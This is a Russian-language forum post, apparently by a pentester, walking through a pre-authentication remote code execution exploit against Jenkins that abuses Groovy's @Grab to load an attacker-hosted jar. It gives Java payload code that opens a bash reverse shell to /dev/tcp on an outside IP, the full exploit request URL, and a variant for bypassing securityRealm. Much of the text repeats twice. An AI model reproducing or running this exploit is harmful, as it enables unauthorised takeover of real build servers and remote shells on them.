Всем Салам. Очень давно не писал, но недавно во время пентеста столкнулся с одной интересной уязвимостью, которую пофиксили только в этом месяце и очень многие компании, которые используют данный продукт уязвимы к RCE (удаленному выполнению кода).
Говорим мы про, всем известный, Jenkins. Нашел эту уязвимость СTFер и багхантер -
Немного теории.
Вся проблема из-за того что у Groovy, есть дополнительная вспомогательная функция Grab, помогающая программистам импортировать библиотеки, которых нет в classPath. Из-за этого у нас получается скомпилить свою небольшую библиотеку указать Grab путь к нему,
а внутри библиотеки уже наш реверс шел, который выполняется на сервере жертвы при импорте. Перейдем к формированию нашей библиотеки.
Эксплуатация.
Нужные файлы есть на r0hack/Jenkins-PreAuth-RCE-PoC
[1] Скачиваем все к себе.
[2] Редактируем файл в /code/Payload.java по желанию, имеется ввиду, можно использовать бэкконнект на любом языке, но я рекомендую bash, так как он со 100% выполниться.
Например:
[3] Запускаем ./build.sh
[4] Загружаем то что в папке www к себе на сервер, чтобы доступны были извне для импорта.
[5] Берем пайлоад, и меняем нужные параметры на свои. TARGET HOST - это хост с Jenkins, EXPLOIT HOST - это хост с нашим jar сплоитом.
Все сделано, остается запустить наш пайлоад и слушать порт, который указан у нас в сплоите и нужно хосте, который тоже указали в эксплоите.
В моем случае эксплоит выглядит следующим образом:
91.201.25.120 - IP моего сервера
12345 - порт, который я собираюсь слушать на моем сервере.
Для удобства запускаю пайлод в бурпе и не забываем слушать порт у себя на сервере
И на сервере успешно открылся bash shell:
И не сказал самого главного, и все это можно выполнять без авторизации на Jenkins, но не везде, у некоторых просто отсутствует securityRealm, не знаю с чем это связано.
А там где есть, мы можем просматривать пользователей и чуть видоизменить пайлоад, т.е. перед /descriptorByName/ прописать /securityRealm/user/UserName/...
Данная уязвимость пофикшена в версии 2.150.2 и выше
На этом у меня все. Всем удачи).
Говорим мы про, всем известный, Jenkins. Нашел эту уязвимость СTFер и багхантер -
Ссылка скрыта от гостей
и поэтому технические моменты, и анализировать код мы не будем, если интересен детальный разбор кода, то уже можете ознакомиться у него на блоге.Немного теории.
Вся проблема из-за того что у Groovy, есть дополнительная вспомогательная функция Grab, помогающая программистам импортировать библиотеки, которых нет в classPath. Из-за этого у нас получается скомпилить свою небольшую библиотеку указать Grab путь к нему,
а внутри библиотеки уже наш реверс шел, который выполняется на сервере жертвы при импорте. Перейдем к формированию нашей библиотеки.
Эксплуатация.
Нужные файлы есть на r0hack/Jenkins-PreAuth-RCE-PoC
[1] Скачиваем все к себе.
[2] Редактируем файл в /code/Payload.java по желанию, имеется ввиду, можно использовать бэкконнект на любом языке, но я рекомендую bash, так как он со 100% выполниться.
Например:
Java:
public class Payload {
public Payload() {
try {
String payload = "bash -i >& /dev/tcp/8.8.8.8/12345 0>&1";
String[] cmds = { "/bin/bash", "-c", payload };
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
}
}
}
[3] Запускаем ./build.sh
[4] Загружаем то что в папке www к себе на сервер, чтобы доступны были извне для импорта.
[5] Берем пайлоад, и меняем нужные параметры на свои. TARGET HOST - это хост с Jenkins, EXPLOIT HOST - это хост с нашим jar сплоитом.
Код:
http://<TARGET HOST>/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='codeby', module='payload', version='1')%0a
import Payload;
Все сделано, остается запустить наш пайлоад и слушать порт, который указан у нас в сплоите и нужно хосте, который тоже указали в эксплоите.
В моем случае эксплоит выглядит следующим образом:
Java:
public class Payload {
public Payload() {
try {
String payload = "bash -i >& /dev/tcp/91.201.25.120/12345 0>&1";
String[] cmds = { "/bin/bash", "-c", payload };
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
}
}
}
91.201.25.120 - IP моего сервера
12345 - порт, который я собираюсь слушать на моем сервере.
Для удобства запускаю пайлод в бурпе и не забываем слушать порт у себя на сервере
И на сервере успешно открылся bash shell:
И не сказал самого главного, и все это можно выполнять без авторизации на Jenkins, но не везде, у некоторых просто отсутствует securityRealm, не знаю с чем это связано.
А там где есть, мы можем просматривать пользователей и чуть видоизменить пайлоад, т.е. перед /descriptorByName/ прописать /securityRealm/user/UserName/...
Данная уязвимость пофикшена в версии 2.150.2 и выше
Ссылка скрыта от гостей
На этом у меня все. Всем удачи).
Последнее редактирование: